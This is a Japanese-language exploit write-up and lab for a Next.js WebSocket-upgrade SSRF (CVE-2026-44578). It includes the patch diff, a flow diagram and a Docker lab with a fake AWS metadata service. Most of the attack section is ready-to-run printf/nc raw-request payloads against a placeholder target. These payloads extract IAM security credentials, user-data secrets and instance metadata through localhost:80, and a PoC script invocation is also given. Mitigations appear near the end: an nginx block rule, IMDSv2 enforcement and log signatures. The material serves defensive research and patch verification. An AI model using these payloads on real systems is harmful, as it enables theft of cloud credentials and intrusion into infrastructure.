
CVE-2026-44578: Next.js WebSocket Upgrade SSRF — localhost:80 を経由した認証前の資格情報の窃取。ラボ + エクスプロイト + 監査。
| フィールド | 値 |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Type | SSRF (CWE-918) |
| 影響を受けるバージョン | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (セルフホストのみ) |
| 修正バージョン | 15.5.16, 16.2.5 |
| 認証の必要性 | なし |
| ユーザー操作 | なし |
router-server.ts の WebSocket アップグレードハンドラは、parsedUrl.protocol が真値である場合に常に proxyRequest() を呼び出します。これは、HTTP ハンドラが常にチェックしていた finished および statusCode ルーティング完了フラグを確認していません。
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
normalizeRepeatedSlashes が http:/// を http:/ に縮小した後、ホスト名は null になり、http-proxyは正しいパスで localhost:80 に接続します。同じ場所にある任意のサービス(クラウドメタデータ、管理パネル、内部API)が露出します。
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
curlは絶対形式URIを送信できません。生のTCP(nc、ncat、socat、Pythonソケット)を使用してください。
Attacker Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" matches regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Returns: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BUG: only checks protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + credentials |
| |<-----------------------------|
| 200 OK + credentials | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
これにより5つのコンテナが起動します:
| コンテナ | 役割 | 公開ポート |
|---|---|---|
nextjs-vuln | Next.js 15.5.15(脆弱) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16(修正済み) | localhost:3001 |
imds-sidecar-vuln | 脆弱コンテナとネットワークを共有する偽のAWS IMDSv1 | localhost:80(脆弱側から見た場合) |
imds-sidecar-fixed | 修正済みコンテナとネットワークを共有する偽のAWS IMDSv1 | localhost:80(修正済み側から見た場合) |
internal-api | 内部サービスのモック | — |
IMDSサイドカーは network_mode: "service:nextjs-*" を使用しているため、Next.jsコンテナ内の localhost:80 に偽のメタデータサービスが存在します。これは実際のクラウドインスタンスを模倣しています。
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
すべてのコンテナが起動 — 脆弱版(15.5.15)が:3000、修正版(15.5.16)が:3001、IMDSサイドカーがネットワーク名前空間を共有。
単一リクエストで完全なEC2メタデータディレクトリ(ami-id、instance-id、iam/、placement/など)を返します。
完全なIAM認証情報セット: AccessKeyId、SecretAccessKey、Token、Expiration。
DB_PASSWORD と API_KEY を含むEC2ユーザーデータブートストラップスクリプト。
同じSSRFベクターで抽出されたインスタンスID。
Next.js 15.5.16に対する同じペイロード。接続は即座に閉じられ、データは返されません。
偽のIMDSログは、127.0.0.1(Next.jsプロセス)からのGETリクエストを示しており、SSRFがサーバーサイドで発生していることを証明しています。
脆弱なインスタンスでは、7つのSSRFテストすべてが機密データを返します。
修正版インスタンスでは7つのテストすべてがブロックされました。修正が確認されました。
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
T をターゲットホストに、ROLE をIAMロール名に置き換えてください。
| 制限 | 詳細 |
|---|---|
| HTTPメソッド | GETのみ |
| ターゲット | localhost:80(正規化によりホスト名が除去) |
| AWS IMDSv2 | 悪用不可(PUTが必要) |
| GCPメタデータ | 悪用不可(Upgradeヘッダーを拒否) |
| Vercelホスト | 影響なし |
| リバースプロキシ配下 | nginx/Caddy/HAProxyが絶対形式URIをブロック |
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}
AWS上ではIMDSv2を強制します(HttpTokens=required)。
ログシグネチャ:
Failed to proxy http:/ — プロキシがトリガーされたがターゲットに到達不能http:///path バリアントは エラーログを生成しません — リクエスト行に http: を含むWebSocketアップグレードを監視する許可されたセキュリティテスト、教育、防御研究のみを目的としています。自分が所有しているか、明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。